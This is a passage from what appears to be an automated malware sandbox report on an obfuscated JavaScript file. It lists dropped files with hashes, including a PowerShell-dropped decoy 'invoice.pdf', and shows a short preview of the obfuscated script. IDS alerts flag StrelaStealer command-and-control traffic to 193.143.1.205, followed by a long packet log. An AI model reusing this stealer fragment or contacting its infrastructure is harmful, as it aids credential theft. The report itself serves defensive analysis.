SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRJ:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR7
MD5:	292B85732BD7E49C458FC2440D5D1055
SHA1:	CDDF3DB4F2F171D68D78069E68400417C44E721C
SHA-256:	57E71DF67AED2CF318C38D6D6E8630D93B04DC56F1DB4E79E7A3838846B9F28A
SHA-512:	0F0D297F4E5AB5B9C6E1C604A14258B8E9B0A033AF1FA3F86850CE6CC1D8D36F3D3A1C2256021C4928713BAD43B3EF910D27FB6881BA2A4EEB580277521373F4
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\408f76a3-5d04-4727-9553-1954c727a576.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/VRbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZnYIGNPJF:tRb3mlind9i4ufFXpAXkrfUs0qWLxXGY
MD5:	9543A6C1DE815E938F6AA0F90F2EF0C6
SHA1:	62B527E0463D71548862DE000950E638F3721582
SHA-256:	8A4B4F588D79D2AF9E617936932D8264DF9017D80A68F8D39E5EA36B14D76F1D
SHA-512:	50A26B895BA1F40B2ADE59996A1A89EBAFE67CB9F7B4F3A029382B6966E75F8BAD3551D25F29391C58A7EDC206F7DAF1D07F68F5E458E3A5D02556EACA377B0D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\964fb295-d045-4ea0-a365-3fda6c584429.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bf25f0a0-7397-4084-9363-c3a2a9d8a0c3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c9d030fb-3f0b-4185-b5fe-2a45642b3aed.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17520), with CRLF line terminators
Entropy (8bit):	4.901089393881557
TrID:
File name:	1468330663299317031.js
File size:	21'053 bytes
MD5:	6b5151790f2bbedb96e98075f8b7c7f6
SHA1:	6e9fd75a80e7c79595af3dbc9ccb68029a48e610
SHA256:	f94799259412360b70a5248066b3b072701f87cecef2fd9e62c259457bba4eea
SHA512:	de6a34fb3120d5c9d1be16d5d03771b3d01b843e66c32fbf896ff2c3e0578cb4bce517759ca42a1aff2f56edf61f20b8a18c8b56c42e41638658505382e09139
SSDEEP:	384:G+Ds9l9b+5CTPfASA6TBWEjf8UFMTfyWmEFDwAzT0K7By7QGkMycakFUdSrF6J0J:Gos9ltFkEjoTfyWmEFDwAzTN7By7QGkW
TLSH:	769232D889899D85EAF811FC0DB6218726FA424CCA49126DA106F31E32D1CD5B4FF5BF
File Content Preview:	function dsjxefrtc(){glvlu=[1031,3079,5127,4103,2055,3072];var bfoum=this[harybeo+gerexbyvy+zrfihrklm+fqzhyvym+vvgmwrs+hsmrjnshl+wkhgz+iqjpndln](this[poerxbz+aingng+dnluqv+zrfihrklm+kirryyiq+harybeo+iqjpndln][hviotnmhm+zrfihrklm+vvgmwrs+gerexbyvy+iqjpndln

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:07:51.577558+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49700	193.143.1.205	80	TCP
2025-01-11T06:07:51.577558+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49700	193.143.1.205	80	TCP
2025-01-11T06:07:54.324159+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49701	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:07:50.733182907 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:50.738079071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:50.738168955 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:50.776042938 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:50.782075882 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.577398062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.577423096 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.577435970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.577447891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.577459097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.577471018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.577512980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.577524900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.577536106 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.577542067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.577558041 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.577600002 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.577600002 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.582370043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.634845972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.634865999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.634937048 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.698508024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.698522091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.698532104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.698580027 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.698714018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.698725939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.698740005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.698760033 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.698762894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.698776960 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.698786974 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.698817968 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.699516058 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.699527025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.699537992 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.699573040 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.699588060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.699600935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.699628115 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.700448036 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.700459003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.700469971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.700484037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.700493097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.700496912 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.700536966 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.701200962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.701226950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.701236963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.701247931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.701302052 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.701328039 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.767122030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.767141104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.767152071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.767211914 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.785269022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.785629034 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.820192099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820209980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820230007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820242882 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820255995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820267916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820280075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820283890 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.820343018 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.820602894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820652962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820663929 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.820741892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820807934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820825100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820833921 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.820847988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820859909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.820889950 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.820915937 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.821398020 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.821409941 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.821420908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.821433067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.821450949 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.821481943 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.821773052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.821787119 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.821799040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.821834087 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.821847916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.821861029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.821872950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.821908951 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.821929932 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.821943045 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.822578907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.822590113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.822603941 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.822618961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.822648048 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.822686911 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.822707891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.822721004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.822731018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.822741985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.822751045 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.822782040 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.823559999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.823571920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.823584080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.823626041 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.823637009 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.823658943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.823672056 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.823718071 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.853781939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.853797913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.853810072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.853878021 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.872083902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.872098923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.872170925 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.906917095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.906935930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.906948090 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.906959057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.906986952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.907001019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.907011986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.907016993 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.907022953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.907092094 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.907124996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.907171011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.907181025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.907213926 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.942292929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942318916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942331076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942348957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942353964 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.942363024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942383051 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.942387104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942403078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942413092 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.942442894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942466021 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.942516088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942528963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942569017 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.942734957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942748070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942759991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942770958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942784071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:51.942805052 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.942831993 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:51.942982912 CET	80	49700	193.143.1.205	192.168.2.7
